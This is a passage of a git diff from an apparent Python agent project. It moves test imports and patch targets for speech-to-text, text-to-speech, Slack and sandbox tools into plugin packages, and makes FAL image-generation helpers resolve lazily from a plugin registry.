import AsyncMock, MagicMock, patch import pytest -from tools.environments import modal as modal_env +from hermes_agent_modal import modal as modal_env def _make_mock_modal_env(monkeypatch, tmp_path): diff --git a/tests/tools/test_send_message_tool.py b/tests/tools/test_send_message_tool.py index 922a7d7bdc2..eb306728514 100644 --- a/tests/tools/test_send_message_tool.py +++ b/tests/tools/test_send_message_tool.py @@ -574,7 +574,7 @@ class TestSendToPlatformChunking: def test_slack_messages_are_formatted_before_send(self, monkeypatch): _ensure_slack_mock(monkeypatch) - import gateway.platforms.slack as slack_mod + import hermes_agent_slack as slack_mod monkeypatch.setattr(slack_mod, "SLACK_AVAILABLE", True) send = AsyncMock(return_value={"success": True, "message_id": "1"}) @@ -599,7 +599,7 @@ class TestSendToPlatformChunking: def test_slack_bold_italic_formatted_before_send(self, monkeypatch): """Bold+italic ***text*** survives tool-layer formatting.""" _ensure_slack_mock(monkeypatch) - import gateway.platforms.slack as slack_mod + import hermes_agent_slack as slack_mod monkeypatch.setattr(slack_mod, "SLACK_AVAILABLE", True) send = AsyncMock(return_value={"success": True, "message_id": "1"}) @@ -619,7 +619,7 @@ class TestSendToPlatformChunking: def test_slack_blockquote_formatted_before_send(self, monkeypatch): """Blockquote '>' markers must survive formatting (not escaped to '>').""" _ensure_slack_mock(monkeypatch) - import gateway.platforms.slack as slack_mod + import hermes_agent_slack as slack_mod monkeypatch.setattr(slack_mod, "SLACK_AVAILABLE", True) send = AsyncMock(return_value={"success": True, "message_id": "1"}) @@ -641,7 +641,7 @@ class TestSendToPlatformChunking: def test_slack_pre_escaped_entities_not_double_escaped(self, monkeypatch): """Pre-escaped HTML entities survive tool-layer formatting without double-escaping.""" _ensure_slack_mock(monkeypatch) - import gateway.platforms.slack as slack_mod + import hermes_agent_slack as slack_mod monkeypatch.setattr(slack_mod, "SLACK_AVAILABLE", True) send = AsyncMock(return_value={"success": True, "message_id": "1"}) with patch("tools.send_message_tool._send_slack", send): @@ -662,7 +662,7 @@ class TestSendToPlatformChunking: def test_slack_url_with_parens_formatted_before_send(self, monkeypatch): """Wikipedia-style URL with parens survives tool-layer formatting.""" _ensure_slack_mock(monkeypatch) - import gateway.platforms.slack as slack_mod + import hermes_agent_slack as slack_mod monkeypatch.setattr(slack_mod, "SLACK_AVAILABLE", True) send = AsyncMock(return_value={"success": True, "message_id": "1"}) with patch("tools.send_message_tool._send_slack", send): diff --git a/tests/tools/test_sync_back_backends.py b/tests/tools/test_sync_back_backends.py index 97bec17e28a..3e6efc71d1a 100644 --- a/tests/tools/test_sync_back_backends.py +++ b/tests/tools/test_sync_back_backends.py @@ -8,8 +8,8 @@ from unittest.mock import AsyncMock, MagicMock, call, patch import pytest from tools.environments import ssh as ssh_env -from tools.environments import modal as modal_env -from tools.environments import daytona as daytona_env +from hermes_agent_modal import modal as modal_env +from hermes_agent_daytona import daytona as daytona_env from tools.environments.ssh import SSHEnvironment diff --git a/tests/tools/test_transcription_dotenv_fallback.py b/tests/tools/test_transcription_dotenv_fallback.py index 5a0517c3bee..69c0bb74a97 100644 --- a/tests/tools/test_transcription_dotenv_fallback.py +++ b/tests/tools/test_transcription_dotenv_fallback.py @@ -45,7 +45,7 @@ class TestProviderSelectionGate: """ import importlib import hermes_cli.config as config_mod - from tools import transcription_tools as tt + from hermes_agent_stt import transcription_tools as tt with pytest.MonkeyPatch.context() as mp: mp.setattr(config_mod, "get_env_value", lambda name, default=None: "") @@ -89,7 +89,7 @@ class TestProviderSelectionGate: assert creds["api_key"] == "dotenv-secret" def test_explicit_groq_sees_dotenv(self): - from tools import transcription_tools as tt + from hermes_agent_stt import transcription_tools as tt with patch.object(tt, "_HAS_FASTER_WHISPER", False), \ patch.object(tt, "_HAS_OPENAI", True), \ @@ -105,7 +105,7 @@ class TestProviderSelectionGate: return "none" with a warning. Restore the previous behavior once `mistralai` is un-quarantined on PyPI. """ - from tools import transcription_tools as tt + from hermes_agent_stt import transcription_tools as tt with patch.object(tt, "_HAS_FASTER_WHISPER", False), \ patch.object(tt, "_HAS_MISTRAL", True), \ @@ -115,7 +115,7 @@ class TestProviderSelectionGate: assert tt._get_provider({"enabled": True, "provider": "mistral"}) == "none" def test_explicit_xai_sees_dotenv(self): - from tools import transcription_tools as tt + from hermes_agent_stt import transcription_tools as tt with patch.object(tt, "_HAS_FASTER_WHISPER", False), \ patch.object(tt, "_has_local_command", return_value=False), \ @@ -127,7 +127,7 @@ class TestProviderSelectionGate: """No local backend, no explicit provider — auto-detect should fall through to Groq when its key lives in dotenv only. Before the fix it would return 'none'.""" - from tools import transcription_tools as tt + from hermes_agent_stt import transcription_tools as tt with patch.object(tt, "_HAS_FASTER_WHISPER", False), \ patch.object(tt, "_HAS_OPENAI", True), \ @@ -146,7 +146,7 @@ class TestTranscribeCallSitesReadDotenv: capture what gets passed through.""" def test_transcribe_groq_forwards_dotenv_key(self): - from tools import transcription_tools as tt + from hermes_agent_stt import transcription_tools as tt seen_keys: list = [] @@ -174,7 +174,7 @@ class TestTranscribeCallSitesReadDotenv: assert seen_keys == ["groq-dotenv-key"] def test_transcribe_mistral_forwards_dotenv_key(self): - from tools import transcription_tools as tt + from hermes_agent_stt import transcription_tools as tt seen_keys: list = [] @@ -207,7 +207,7 @@ class TestTranscribeCallSitesReadDotenv: ``transcription_tools.get_env_value`` is still consulted for the ``XAI_STT_BASE_URL`` override (covered by ``test_custom_base_url``). """ - from tools import transcription_tools as tt + from hermes_agent_stt import transcription_tools as tt from tools import xai_http captured: dict = {} @@ -242,7 +242,7 @@ class TestEndToEndRegressionGuard: directly and returned ``XAI_API_KEY not set``.""" def test_xai_key_only_in_dotenv_before_fix(self, monkeypatch): - from tools import transcription_tools as tt + from hermes_agent_stt import transcription_tools as tt monkeypatch.delenv("XAI_API_KEY", raising=False) diff --git a/tests/tools/test_transcription_plugin_dispatch.py b/tests/tools/test_transcription_plugin_dispatch.py index 83424676952..36807bb8450 100644 --- a/tests/tools/test_transcription_plugin_dispatch.py +++ b/tests/tools/test_transcription_plugin_dispatch.py @@ -22,7 +22,7 @@ import pytest from agent import transcription_registry from agent.transcription_provider import TranscriptionProvider -from tools import transcription_tools +from hermes_agent_stt import transcription_tools class _FakeProvider(TranscriptionProvider): @@ -219,10 +219,10 @@ class TestTranscribeAudioE2E: provider = _FakeProvider(name="openrouter") transcription_registry.register_provider(provider) - with patch("tools.transcription_tools._validate_audio_file", return_value=None), \ - patch("tools.transcription_tools._load_stt_config", return_value={"provider": "openrouter"}), \ - patch("tools.transcription_tools.is_stt_enabled", return_value=True), \ - patch("tools.transcription_tools._get_provider", return_value="openrouter"): + with patch("hermes_agent_stt.transcription_tools._validate_audio_file", return_value=None), \ + patch("hermes_agent_stt.transcription_tools._load_stt_config", return_value={"provider": "openrouter"}), \ + patch("hermes_agent_stt.transcription_tools.is_stt_enabled", return_value=True), \ + patch("hermes_agent_stt.transcription_tools._get_provider", return_value="openrouter"): result = transcription_tools.transcribe_audio("/tmp/audio.mp3") assert result["success"] is True @@ -235,10 +235,10 @@ class TestTranscribeAudioE2E: the legacy 'No STT provider available' error message.""" from unittest.mock import patch - with patch("tools.transcription_tools._validate_audio_file", return_value=None), \ - patch("tools.transcription_tools._load_stt_config", return_value={"provider": "openrouter"}), \ - patch("tools.transcription_tools.is_stt_enabled", return_value=True), \ - patch("tools.transcription_tools._get_provider", return_value="openrouter"): + with patch("hermes_agent_stt.transcription_tools._validate_audio_file", return_value=None), \ + patch("hermes_agent_stt.transcription_tools._load_stt_config", return_value={"provider": "openrouter"}), \ + patch("hermes_agent_stt.transcription_tools.is_stt_enabled", return_value=True), \ + patch("hermes_agent_stt.transcription_tools._get_provider", return_value="openrouter"): result = transcription_tools.transcribe_audio("/tmp/audio.mp3") assert result["success"] is False @@ -255,10 +255,10 @@ class TestTranscribeAudioE2E: provider = _FakeProvider(name="openrouter") transcription_registry.register_provider(provider) - with patch("tools.transcription_tools._validate_audio_file", return_value=None), \ - patch("tools.transcription_tools._load_stt_config", return_value={"provider": "groq"}), \ - patch("tools.transcription_tools._get_provider", return_value="groq"), \ - patch("tools.transcription_tools._transcribe_groq", + with patch("hermes_agent_stt.transcription_tools._validate_audio_file", return_value=None), \ + patch("hermes_agent_stt.transcription_tools._load_stt_config", return_value={"provider": "groq"}), \ + patch("hermes_agent_stt.transcription_tools._get_provider", return_value="groq"), \ + patch("hermes_agent_stt.transcription_tools._transcribe_groq", return_value={"success": True, "transcript": "from groq", "provider": "groq"}) as mock_groq: result = transcription_tools.transcribe_audio("/tmp/audio.mp3") @@ -339,10 +339,10 @@ class TestAvailabilityGate: provider = _FakeProvider(name="openrouter", available=False) transcription_registry.register_provider(provider) - with patch("tools.transcription_tools._validate_audio_file", return_value=None), \ - patch("tools.transcription_tools._load_stt_config", return_value={"provider": "openrouter"}), \ - patch("tools.transcription_tools.is_stt_enabled", return_value=True), \ - patch("tools.transcription_tools._get_provider", return_value="openrouter"): + with patch("hermes_agent_stt.transcription_tools._validate_audio_file", return_value=None), \ + patch("hermes_agent_stt.transcription_tools._load_stt_config", return_value={"provider": "openrouter"}), \ + patch("hermes_agent_stt.transcription_tools.is_stt_enabled", return_value=True), \ + patch("hermes_agent_stt.transcription_tools._get_provider", return_value="openrouter"): result = transcription_tools.transcribe_audio("/tmp/audio.mp3") assert result["success"] is False @@ -375,10 +375,10 @@ class TestLanguageForwardingFromConfig: "provider": "openrouter", "openrouter": {"language": "ja"}, } - with patch("tools.transcription_tools._validate_audio_file", return_value=None), \ - patch("tools.transcription_tools._load_stt_config", return_value=stt_config), \ - patch("tools.transcription_tools.is_stt_enabled", return_value=True), \ - patch("tools.transcription_tools._get_provider", return_value="openrouter"): + with patch("hermes_agent_stt.transcription_tools._validate_audio_file", return_value=None), \ + patch("hermes_agent_stt.transcription_tools._load_stt_config", return_value=stt_config), \ + patch("hermes_agent_stt.transcription_tools.is_stt_enabled", return_value=True), \ + patch("hermes_agent_stt.transcription_tools._get_provider", return_value="openrouter"): transcription_tools.transcribe_audio("/tmp/audio.mp3") assert provider.last_call is not None @@ -396,10 +396,10 @@ class TestLanguageForwardingFromConfig: "provider": "openrouter", "openrouter": {"model": "whisper-large-v3"}, } - with patch("tools.transcription_tools._validate_audio_file", return_value=None), \ - patch("tools.transcription_tools._load_stt_config", return_value=stt_config), \ - patch("tools.transcription_tools.is_stt_enabled", return_value=True), \ - patch("tools.transcription_tools._get_provider", return_value="openrouter"): + with patch("hermes_agent_stt.transcription_tools._validate_audio_file", return_value=None), \ + patch("hermes_agent_stt.transcription_tools._load_stt_config", return_value=stt_config), \ + patch("hermes_agent_stt.transcription_tools.is_stt_enabled", return_value=True), \ + patch("hermes_agent_stt.transcription_tools._get_provider", return_value="openrouter"): transcription_tools.transcribe_audio("/tmp/audio.mp3") assert provider.last_call["kwargs"]["model"] == "whisper-large-v3" @@ -415,10 +415,10 @@ class TestLanguageForwardingFromConfig: "provider": "openrouter", "openrouter": {"model": "config-model"}, } - with patch("tools.transcription_tools._validate_audio_file", return_value=None), \ - patch("tools.transcription_tools._load_stt_config", return_value=stt_config), \ - patch("tools.transcription_tools.is_stt_enabled", return_value=True), \ - patch("tools.transcription_tools._get_provider", return_value="openrouter"): + with patch("hermes_agent_stt.transcription_tools._validate_audio_file", return_value=None), \ + patch("hermes_agent_stt.transcription_tools._load_stt_config", return_value=stt_config), \ + patch("hermes_agent_stt.transcription_tools.is_stt_enabled", return_value=True), \ + patch("hermes_agent_stt.transcription_tools._get_provider", return_value="openrouter"): transcription_tools.transcribe_audio( "/tmp/audio.mp3", model="explicit-arg-model", ) @@ -432,10 +432,10 @@ class TestLanguageForwardingFromConfig: provider = _FakeProvider(name="openrouter") transcription_registry.register_provider(provider) - with patch("tools.transcription_tools._validate_audio_file", return_value=None), \ - patch("tools.transcription_tools._load_stt_config", return_value={"provider": "openrouter"}), \ - patch("tools.transcription_tools.is_stt_enabled", return_value=True), \ - patch("tools.transcription_tools._get_provider", return_value="openrouter"): + with patch("hermes_agent_stt.transcription_tools._validate_audio_file", return_value=None), \ + patch("hermes_agent_stt.transcription_tools._load_stt_config", return_value={"provider": "openrouter"}), \ + patch("hermes_agent_stt.transcription_tools.is_stt_enabled", return_value=True), \ + patch("hermes_agent_stt.transcription_tools._get_provider", return_value="openrouter"): transcription_tools.transcribe_audio("/tmp/audio.mp3") assert provider.last_call["kwargs"]["language"] is None @@ -450,10 +450,10 @@ class TestLanguageForwardingFromConfig: transcription_registry.register_provider(provider) stt_config = {"provider": "openrouter", "openrouter": "garbage"} - with patch("tools.transcription_tools._validate_audio_file", return_value=None), \ - patch("tools.transcription_tools._load_stt_config", return_value=stt_config), \ - patch("tools.transcription_tools.is_stt_enabled", return_value=True), \ - patch("tools.transcription_tools._get_provider", return_value="openrouter"): + with patch("hermes_agent_stt.transcription_tools._validate_audio_file", return_value=None), \ + patch("hermes_agent_stt.transcription_tools._load_stt_config", return_value=stt_config), \ + patch("hermes_agent_stt.transcription_tools.is_stt_enabled", return_value=True), \ + patch("hermes_agent_stt.transcription_tools._get_provider", return_value="openrouter"): result = transcription_tools.transcribe_audio("/tmp/audio.mp3") # Should still dispatch successfully (config is just ignored) diff --git a/tests/tools/test_tts_dotenv_fallback.py b/tests/tools/test_tts_dotenv_fallback.py index 0a4ea5a8ac2..664de3106f9 100644 --- a/tests/tools/test_tts_dotenv_fallback.py +++ b/tests/tools/test_tts_dotenv_fallback.py @@ -43,7 +43,7 @@ class TestDotenvFallbackPerProvider: """ def test_elevenlabs_reads_dotenv_key(self, tmp_path): - from tools import tts_tool + from hermes_agent_tts import tts_tool with patch.object(tts_tool, "get_env_value", return_value="el-dotenv-key"), \ patch.object(tts_tool, "_import_elevenlabs") as mock_import: @@ -61,7 +61,7 @@ class TestDotenvFallbackPerProvider: dotenv fallback contract from #17140 is preserved by patching the resolver's ``get_env_value`` rather than ``tts_tool.get_env_value``. """ - from tools import tts_tool + from hermes_agent_tts import tts_tool from tools import xai_http captured: dict = {} @@ -81,7 +81,7 @@ class TestDotenvFallbackPerProvider: assert captured["headers"]["Authorization"] == "Bearer xai-dotenv-key" def test_minimax_reads_dotenv_key(self, tmp_path): - from tools import tts_tool + from hermes_agent_tts import tts_tool captured: dict = {} @@ -104,7 +104,7 @@ class TestDotenvFallbackPerProvider: def test_mistral_reads_dotenv_key(self, tmp_path): import base64 - from tools import tts_tool + from hermes_agent_tts import tts_tool seen_keys: list = [] @@ -125,7 +125,7 @@ class TestDotenvFallbackPerProvider: assert seen_keys == ["mistral-dotenv-key"] def test_gemini_reads_dotenv_key(self, tmp_path): - from tools import tts_tool + from hermes_agent_tts import tts_tool captured: dict = {} @@ -185,7 +185,7 @@ class TestRegressionGuard: """ import importlib import hermes_cli.config as config_mod - from tools import tts_tool + from hermes_agent_tts import tts_tool monkeypatch.delenv("MINIMAX_API_KEY", raising=False) @@ -219,7 +219,7 @@ class TestRegressionGuard: importlib.reload(tts_tool) def test_minimax_missing_when_only_in_dotenv_before_fix(self, tmp_path, monkeypatch): - from tools import tts_tool + from hermes_agent_tts import tts_tool monkeypatch.delenv("MINIMAX_API_KEY", raising=False) @@ -262,7 +262,7 @@ class TestRegressionGuard: would say "no provider available" for users who keep MINIMAX_API_KEY in ``~/.hermes/.env``, even though the dispatcher would later succeed. """ - from tools import tts_tool + from hermes_agent_tts import tts_tool monkeypatch.delenv("MINIMAX_API_KEY", raising=False) diff --git a/tests/tools/test_tts_opus_routing.py b/tests/tools/test_tts_opus_routing.py index 0073146c304..e68ebc0565f 100644 --- a/tests/tools/test_tts_opus_routing.py +++ b/tests/tools/test_tts_opus_routing.py @@ -5,7 +5,7 @@ from unittest.mock import Mock import pytest from gateway.session_context import _UNSET, _VAR_MAP -from tools import tts_tool +from hermes_agent_tts import tts_tool def _reset_session_context() -> None: diff --git a/tests/tools/test_tts_plugin_dispatch.py b/tests/tools/test_tts_plugin_dispatch.py index d8ead912e71..aff6e3056f1 100644 --- a/tests/tools/test_tts_plugin_dispatch.py +++ b/tests/tools/test_tts_plugin_dispatch.py @@ -34,7 +34,7 @@ import pytest from agent import tts_registry from agent.tts_provider import TTSProvider -from tools import tts_tool +from hermes_agent_tts import tts_tool class _FakeTTSProvider(TTSProvider): diff --git a/tests/tools/test_voice_cli_integration.py b/tests/tools/test_voice_cli_integration.py index babdb4e7383..23b16f04292 100644 --- a/tests/tools/test_voice_cli_integration.py +++ b/tests/tools/test_voice_cli_integration.py @@ -43,7 +43,7 @@ def _make_voice_cli(**overrides): # Markdown stripping — import real function from tts_tool # ============================================================================ -from tools.tts_tool import _strip_markdown_for_tts +from hermes_agent_tts import _strip_markdown_for_tts class TestMarkdownStripping: @@ -184,7 +184,7 @@ class TestStreamingTTSActivation: and both lazy imports succeed.""" use_streaming_tts = False try: - from tools.tts_tool import ( + from hermes_agent_tts import ( _load_tts_config as _load_tts_cfg, _get_provider as _get_prov, _import_elevenlabs, @@ -195,15 +195,15 @@ class TestStreamingTTSActivation: except ImportError: pytest.skip("tools.tts_tool not available") - with patch("tools.tts_tool._load_tts_config") as mock_cfg, \ - patch("tools.tts_tool._get_provider", return_value="elevenlabs"), \ - patch("tools.tts_tool._import_elevenlabs") as mock_el, \ - patch("tools.tts_tool._import_sounddevice") as mock_sd: + with patch("hermes_agent_tts.tts_tool._load_tts_config") as mock_cfg, \ + patch("hermes_agent_tts.tts_tool._get_provider", return_value="elevenlabs"), \ + patch("hermes_agent_tts.tts_tool._import_elevenlabs") as mock_el, \ + patch("hermes_agent_tts.tts_tool._import_sounddevice") as mock_sd: mock_cfg.return_value = {"provider": "elevenlabs"} mock_el.return_value = MagicMock() mock_sd.return_value = MagicMock() - from tools.tts_tool import ( + from hermes_agent_tts import ( _load_tts_config as load_cfg, _get_provider as get_prov, _import_elevenlabs as import_el, @@ -220,11 +220,11 @@ class TestStreamingTTSActivation: def test_does_not_activate_when_elevenlabs_missing(self): """use_streaming_tts stays False when elevenlabs import fails.""" use_streaming_tts = False - with patch("tools.tts_tool._load_tts_config", return_value={"provider": "elevenlabs"}), \ - patch("tools.tts_tool._get_provider", return_value="elevenlabs"), \ - patch("tools.tts_tool._import_elevenlabs", side_effect=ImportError("no elevenlabs")): + with patch("hermes_agent_tts.tts_tool._load_tts_config", return_value={"provider": "elevenlabs"}), \ + patch("hermes_agent_tts.tts_tool._get_provider", return_value="elevenlabs"), \ + patch("hermes_agent_tts.tts_tool._import_elevenlabs", side_effect=ImportError("no elevenlabs")): try: - from tools.tts_tool import ( + from hermes_agent_tts import ( _load_tts_config as load_cfg, _get_provider as get_prov, _import_elevenlabs as import_el, @@ -243,12 +243,12 @@ class TestStreamingTTSActivation: def test_does_not_activate_when_sounddevice_missing(self): """use_streaming_tts stays False when sounddevice import fails.""" use_streaming_tts = False - with patch("tools.tts_tool._load_tts_config", return_value={"provider": "elevenlabs"}), \ - patch("tools.tts_tool._get_provider", return_value="elevenlabs"), \ - patch("tools.tts_tool._import_elevenlabs", return_value=MagicMock()), \ - patch("tools.tts_tool._import_sounddevice", side_effect=OSError("no PortAudio")): + with patch("hermes_agent_tts.tts_tool._load_tts_config", return_value={"provider": "elevenlabs"}), \ + patch("hermes_agent_tts.tts_tool._get_provider", return_value="elevenlabs"), \ + patch("hermes_agent_tts.tts_tool._import_elevenlabs", return_value=MagicMock()), \ + patch("hermes_agent_tts.tts_tool._import_sounddevice", side_effect=OSError("no PortAudio")): try: - from tools.tts_tool import ( + from hermes_agent_tts import ( _load_tts_config as load_cfg, _get_provider as get_prov, _import_elevenlabs as import_el, @@ -267,10 +267,10 @@ class TestStreamingTTSActivation: def test_does_not_activate_for_non_elevenlabs_provider(self): """use_streaming_tts stays False when provider is not elevenlabs.""" use_streaming_tts = False - with patch("tools.tts_tool._load_tts_config", return_value={"provider": "edge"}), \ - patch("tools.tts_tool._get_provider", return_value="edge"): + with patch("hermes_agent_tts.tts_tool._load_tts_config", return_value={"provider": "edge"}), \ + patch("hermes_agent_tts.tts_tool._get_provider", return_value="edge"): try: - from tools.tts_tool import ( + from hermes_agent_tts import ( _load_tts_config as load_cfg, _get_provider as get_prov, _import_elevenlabs as import_el, @@ -288,7 +288,7 @@ class TestStreamingTTSActivation: def test_stale_boolean_imports_no_longer_exist(self): """Confirm _HAS_ELEVENLABS and _HAS_AUDIO are not in tts_tool module.""" - import tools.tts_tool as tts_mod + import hermes_agent_tts as tts_mod assert not hasattr(tts_mod, "_HAS_ELEVENLABS"), \ "_HAS_ELEVENLABS should not exist -- lazy imports replaced it" assert not hasattr(tts_mod, "_HAS_AUDIO"), \ @@ -1065,7 +1065,7 @@ class TestVoiceSpeakResponseReal: @patch("cli._cprint") def test_early_return_when_tts_off(self, _cp): cli = _make_voice_cli(_voice_tts=False) - with patch("tools.tts_tool.text_to_speech_tool") as mock_tts: + with patch("hermes_agent_tts.tts_tool.text_to_speech_tool") as mock_tts: cli._voice_speak_response("Hello") mock_tts.assert_not_called() @@ -1075,7 +1075,7 @@ class TestVoiceSpeakResponseReal: @patch("cli.os.path.isfile", return_value=True) @patch("cli.os.makedirs") @patch("tools.voice_mode.play_audio_file") - @patch("tools.tts_tool.text_to_speech_tool", return_value='{"success": true}') + @patch("hermes_agent_tts.tts_tool.text_to_speech_tool", return_value='{"success": true}') def test_markdown_stripped(self, mock_tts, _play, _mkd, _isf, _gsz, _unl, _cp): cli = _make_voice_cli(_voice_tts=True) cli._voice_speak_response("## Title\n**bold** and `code`") @@ -1086,7 +1086,7 @@ class TestVoiceSpeakResponseReal: @patch("cli._cprint") @patch("cli.os.makedirs") - @patch("tools.tts_tool.text_to_speech_tool", return_value='{"success": true}') + @patch("hermes_agent_tts.tts_tool.text_to_speech_tool", return_value='{"success": true}') def test_code_blocks_removed(self, mock_tts, _mkd, _cp): cli = _make_voice_cli(_voice_tts=True) cli._voice_speak_response("```python\nprint('hi')\n```\nSome text") @@ -1099,13 +1099,13 @@ class TestVoiceSpeakResponseReal: @patch("cli.os.makedirs") def test_empty_after_strip_returns_early(self, _mkd, _cp): cli = _make_voice_cli(_voice_tts=True) - with patch("tools.tts_tool.text_to_speech_tool") as mock_tts: + with patch("hermes_agent_tts.tts_tool.text_to_speech_tool") as mock_tts: cli._voice_speak_response("```python\nprint('hi')\n```") mock_tts.assert_not_called() @patch("cli._cprint") @patch("cli.os.makedirs") - @patch("tools.tts_tool.text_to_speech_tool", return_value='{"success": true}') + @patch("hermes_agent_tts.tts_tool.text_to_speech_tool", return_value='{"success": true}') def test_long_text_truncated(self, mock_tts, _mkd, _cp): cli = _make_voice_cli(_voice_tts=True) cli._voice_speak_response("A" * 5000) @@ -1114,7 +1114,7 @@ class TestVoiceSpeakResponseReal: @patch("cli._cprint") @patch("cli.os.makedirs") - @patch("tools.tts_tool.text_to_speech_tool", side_effect=RuntimeError("tts fail")) + @patch("hermes_agent_tts.tts_tool.text_to_speech_tool", side_effect=RuntimeError("tts fail")) def test_exception_sets_done_event(self, _tts, _mkd, _cp): cli = _make_voice_cli(_voice_tts=True) cli._voice_tts_done.clear() @@ -1127,7 +1127,7 @@ class TestVoiceSpeakResponseReal: @patch("cli.os.path.isfile", return_value=True) @patch("cli.os.makedirs") @patch("tools.voice_mode.play_audio_file") - @patch("tools.tts_tool.text_to_speech_tool", return_value='{"success": true}') + @patch("hermes_agent_tts.tts_tool.text_to_speech_tool", return_value='{"success": true}') def test_play_audio_called(self, _tts, mock_play, _mkd, _isf, _gsz, _unl, _cp): cli = _make_voice_cli(_voice_tts=True) cli._voice_speak_response("Hello world") diff --git a/tests/tools/test_voice_mode.py b/tests/tools/test_voice_mode.py index 3f7ada8c4a2..de0eb899e27 100644 --- a/tests/tools/test_voice_mode.py +++ b/tests/tools/test_voice_mode.py @@ -258,7 +258,7 @@ class TestCheckVoiceRequirements: monkeypatch.setattr("tools.voice_mode._termux_microphone_command", lambda: "/data/data/com.termux/files/usr/bin/termux-microphone-record") monkeypatch.setattr("tools.voice_mode._termux_api_app_installed", lambda: True) monkeypatch.setattr("tools.voice_mode.detect_audio_environment", lambda: {"available": True, "warnings": [], "notices": ["Termux:API microphone recording available"]}) - monkeypatch.setattr("tools.transcription_tools._get_provider", lambda cfg: "openai") + monkeypatch.setattr("hermes_agent_stt.transcription_tools._get_provider", lambda cfg: "openai") from tools.voice_mode import check_voice_requirements result = check_voice_requirements() @@ -272,7 +272,7 @@ class TestCheckVoiceRequirements: monkeypatch.setattr("tools.voice_mode._audio_available", lambda: True) monkeypatch.setattr("tools.voice_mode.detect_audio_environment", lambda: {"available": True, "warnings": []}) - monkeypatch.setattr("tools.transcription_tools._get_provider", lambda cfg: "openai") + monkeypatch.setattr("hermes_agent_stt.transcription_tools._get_provider", lambda cfg: "openai") from tools.voice_mode import check_voice_requirements @@ -300,7 +300,7 @@ class TestCheckVoiceRequirements: monkeypatch.setattr("tools.voice_mode._audio_available", lambda: True) monkeypatch.setattr("tools.voice_mode.detect_audio_environment", lambda: {"available": True, "warnings": []}) - monkeypatch.setattr("tools.transcription_tools._get_provider", lambda cfg: "none") + monkeypatch.setattr("hermes_agent_stt.transcription_tools._get_provider", lambda cfg: "none") from tools.voice_mode import check_voice_requirements @@ -565,7 +565,7 @@ class TestTranscribeRecording: "transcript": "hello world", }) - with patch("tools.transcription_tools.transcribe_audio", mock_transcribe): + with patch("hermes_agent_stt.transcription_tools.transcribe_audio", mock_transcribe): from tools.voice_mode import transcribe_recording result = transcribe_recording("/tmp/test.wav", model="whisper-1") @@ -579,7 +579,7 @@ class TestTranscribeRecording: "transcript": "Thank you.", }) - with patch("tools.transcription_tools.transcribe_audio", mock_transcribe): + with patch("hermes_agent_stt.transcription_tools.transcribe_audio", mock_transcribe): from tools.voice_mode import transcribe_recording result = transcribe_recording("/tmp/test.wav") @@ -593,7 +593,7 @@ class TestTranscribeRecording: "transcript": "Thank you for helping me with this code.", }) - with patch("tools.transcription_tools.transcribe_audio", mock_transcribe): + with patch("hermes_agent_stt.transcription_tools.transcribe_audio", mock_transcribe): from tools.voice_mode import transcribe_recording result = transcribe_recording("/tmp/test.wav") @@ -613,7 +613,7 @@ class TestTranscribeRecording: temp_dir = tmp_path / "chunks" temp_dir.mkdir() monkeypatch.setattr("tools.voice_mode._TEMP_DIR", str(temp_dir)) - monkeypatch.setattr("tools.transcription_tools.MAX_FILE_SIZE", 70 * 1024) + monkeypatch.setattr("hermes_agent_stt.transcription_tools.MAX_FILE_SIZE", 70 * 1024) seen_paths = [] @@ -628,7 +628,7 @@ class TestTranscribeRecording: "provider": "local", } - with patch("tools.transcription_tools.transcribe_audio", side_effect=fake_transcribe): + with patch("hermes_agent_stt.transcription_tools.transcribe_audio", side_effect=fake_transcribe): from tools.voice_mode import transcribe_recording result = transcribe_recording(str(wav_path), model="base") @@ -653,12 +653,12 @@ class TestTranscribeRecording: temp_dir = tmp_path / "chunks" temp_dir.mkdir() monkeypatch.setattr("tools.voice_mode._TEMP_DIR", str(temp_dir)) - monkeypatch.setattr("tools.transcription_tools.MAX_FILE_SIZE", 70 * 1024) + monkeypatch.setattr("hermes_agent_stt.transcription_tools.MAX_FILE_SIZE", 70 * 1024) def fake_transcribe(path, model=None): return {"success": False, "transcript": "", "error": "provider rejected audio"} - with patch("tools.transcription_tools.transcribe_audio", side_effect=fake_transcribe): + with patch("hermes_agent_stt.transcription_tools.transcribe_audio", side_effect=fake_transcribe): from tools.voice_mode import transcribe_recording result = transcribe_recording(str(wav_path), model="base") diff --git a/tools/image_generation_tool.py b/tools/image_generation_tool.py index 584f5e9fa1c..2b4ffa5284c 100644 --- a/tools/image_generation_tool.py +++ b/tools/image_generation_tool.py @@ -51,17 +51,45 @@ def _load_fal_client() -> Any: global fal_client if fal_client is not None: return fal_client - from tools.fal_common import import_fal_client - fal_client = import_fal_client() - return fal_client + # Registry lookup (hermes_agent_fal is a plugin) + from agent.plugin_registries import registries + _fal = registries.get_tool_provider("fal") + if _fal: + _import_fal_client = _fal.tool_functions.get("import_fal_client") + if _import_fal_client: + fal_client = _import_fal_client() + return fal_client + return None from tools.debug_helpers import DebugSession -from tools.fal_common import ( - _ManagedFalSyncClient, - _extract_http_status, - _normalize_fal_queue_url_format, # noqa: F401 — re-exported for tests -) +# FAL SDK helpers — resolved lazily from the plugin registry instead of +# importing from hermes_agent_fal directly. Module-level placeholders +# preserve the existing test monkey-patching pattern. +_ManagedFalSyncClient: Any = None +_extract_http_status: Any = None +_normalize_fal_queue_url_format: Any = None # re-exported for tests + + +def _resolve_fal_provider(): + """Populate the module-level FAL helpers from the plugin registry. + + Called lazily on first use by _get_managed_fal_client() and + _submit_fal_request(). Idempotent — a no-op after the first + successful resolution. + """ + global _ManagedFalSyncClient, _extract_http_status, _normalize_fal_queue_url_format + if _ManagedFalSyncClient is not None: + return + from agent.plugin_registries import registries + _fal = registries.get_tool_provider("fal") + if _fal: + _ManagedFalSyncClient = _fal.config_functions.get("_ManagedFalSyncClient") or _ManagedFalSyncClient + _extract_http_status = _fal.config_functions.get("_extract_http_status") or _extract_http_status + _normalize_fal_queue_url_format = _fal.constants.get("_normalize_fal_queue_url_format") or _normalize_fal_queue_url_format + else: + # Plugin not registered — features unavailable + pass from tools.managed_tool_gateway import resolve_managed_tool_gateway from tools.tool_backend_helpers import ( fal_key_is_configured, @@ -372,6 +400,7 @@ def _get_managed_fal_client(managed_gateway): # Resolve fal_client on the legacy module — preserves the test # pattern of monkey-patching ``image_generation_tool.fal_client``. _load_fal_client() + _resolve_fal_provider() _managed_fal_client = _ManagedFalSyncClient( fal_client, key=managed_gateway.nous_user_token, @@ -385,6 +414,7 @@ def _submit_fal_request(model: str, arguments: Dict[str, Any]): """Submit a FAL request using direct credentials or the managed queue gateway.""" # Trigger the lazy import on first 